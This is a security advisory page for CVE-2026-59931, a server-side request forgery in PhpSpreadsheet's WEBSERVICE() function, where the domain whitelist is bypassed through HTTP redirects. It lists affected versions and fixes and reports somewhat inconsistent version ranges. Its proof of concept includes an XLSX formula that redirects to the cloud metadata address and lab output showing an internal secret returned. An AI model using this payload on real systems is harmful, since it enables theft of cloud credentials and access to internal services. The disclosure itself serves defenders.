CVE-2026-59931: PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

Published Jul 23, 2026
·
Updated

Summary

The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but filegetcontents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.

Details

In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls filegetcontents($url, false, $ctx) to fetch the content.

The stream context does not disable redirect following:

php $ctxArray = [ 'http' => [ 'useragent' => 'Mozilla/5.0 ...', // followlocation defaults to true // maxredirects defaults to 20 ], ];

PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.

Vulnerable code (Calculation/Web/Service.php):

php // Whitelist check — runs ONCE on the initial URL $domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? []; $host = $parsed['host'] ?? ''; if (!inarray($host, $domainWhiteList, true)) { return ($cell === null) ? null : Functions::NOTYETIMPLEMENTED; }

// HTTP request — follows redirects to ANY destination $ctx = streamcontextcreate($ctxArray); $output = @filegetcontents($url, false, $ctx);

Additionally, the whitelist check uses only the hostname from parseurl(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.

PoC

Prerequisites: - Application uses PhpSpreadsheet >= 5.4.0 - Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain - Application calls $cell->getCalculatedValue() on uploaded XLSX files

Attack steps:

1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).

2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:

xml <c r="A1"> <f>xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f> </c>

3. Upload the XLSX to the target application. The calculation engine: - Validates whitelisted-domain.com against the whitelist — passes - Calls filegetcontents("http://whitelisted-domain.com/redirect?url=...") - filegetcontents follows the 302 redirect to http://169.254.169.254/latest/meta-data/ — no re-validation - Returns the cloud metadata response as the cell's calculated value

Lab reproduction:

bash Setup (PhpSpreadsheet 5.7.0, PHP 8.3) App whitelists "trusted-api.example.com" Redirect server on trusted-api.example.com:7071 returns 302 → internal target

Test 1: Direct internal access — BLOCKED by whitelist =WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets") → Result: null (blocked)

Test 2: Via redirect from whitelisted domain — BYPASS =WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal") → Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}

Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).

Impact

An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:

- Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets - Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via http://169.254.169.254/ - Access internal services not exposed to the internet - Port-scan internal networks via any whitelisted hostname (port is not validated)

This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.

Attack scenarios: - Whitelisted domain has an open redirect vulnerability - Attacker controls the whitelisted domain (e.g., a free-tier API service) - DNS rebinding after the whitelist check

Suggested Fix

Disable redirect following in the stream context:

php $ctxArray = [ 'http' => [ 'useragent' => '...', 'followlocation' => false, 'maxredirects' => 0, ], ];

Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.

Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.

Related

This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.

Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.

---

Other sources

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL's host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with filegetcontents($url, false, $ctx); because PHP's HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell's calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via

— IBM

PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

— Packagist

Affected Software

11 affected componentsFixes available
composer/phpoffice/phpspreadsheet<=1.30.5
1.30.6
composer/phpoffice/phpspreadsheet>=2.0.0<=2.1.17
2.1.18
composer/phpoffice/phpspreadsheet>=2.2.0<=2.4.6
2.4.7
composer/phpoffice/phpspreadsheet>=3.3.0<=3.10.6
3.10.7
composer/phpoffice/phpspreadsheet>=4.0.0<=5.8.0
5.8.1
composer/phpoffice/phpspreadsheet<=1.30.5
composer/phpoffice/phpspreadsheet>=2.0.0, <=2.1.17
composer/phpoffice/phpspreadsheet>=2.2.0, <=2.4.6
composer/phpoffice/phpspreadsheet>=3.3.0, <=3.10.6
composer/phpoffice/phpspreadsheet>=4.0.0, <=5.8.0
IBM API Connect<=V10.0.8.0 - V10.0.8.12

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 1.30.6
  2. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 2.1.18
  3. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 2.4.7
  4. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 3.10.7
  5. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 5.8.1
  6. Upgrade

    Upgrade PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 5.8.1
  7. Configuration

    Disable automatic HTTP redirect following for the WEBSERVICE() request; set follow_location to false and max_redirects to 0.

    PHP HTTP stream context follow_location = false
  8. Configuration

    Include and validate the destination port in the whitelist check; the current hostname-only check permits access to all ports on a whitelisted host.

    PhpSpreadsheet WEBSERVICE() domain whitelist port validation = enabled
  9. Compensating control

    If redirects must be supported, follow them manually and re-validate each redirect hop's hostname against the domain whitelist.

Event History

Jul 23, 2026
Advisory Published
via GitHub·02:55 PM
Data Sourced
via GitHub·02:55 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·02:55 PM
DescriptionSeverityAffected Software
Jul 28, 2026
CVE Published
via MITRE·05:27 PM
Data Sourced
via MITRE·05:27 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:17 PM
DescriptionSeverityWeakness
Oct 14, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-59931?

CVE-2026-59931 has a high severity rating of 7.7.

2

How can I fix CVE-2026-59931?

To fix CVE-2026-59931, update to PhpSpreadsheet version 1.30.6 or later.

3

What type of vulnerability is CVE-2026-59931?

CVE-2026-59931 is classified as a Server-Side Request Forgery (SSRF) vulnerability.

4

What is the impact of CVE-2026-59931?

CVE-2026-59931 allows an attacker to bypass domain whitelisting through HTTP redirects.

5

Which software is affected by CVE-2026-59931?

CVE-2026-59931 affects the PhpSpreadsheet library starting from version 5.4.0.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203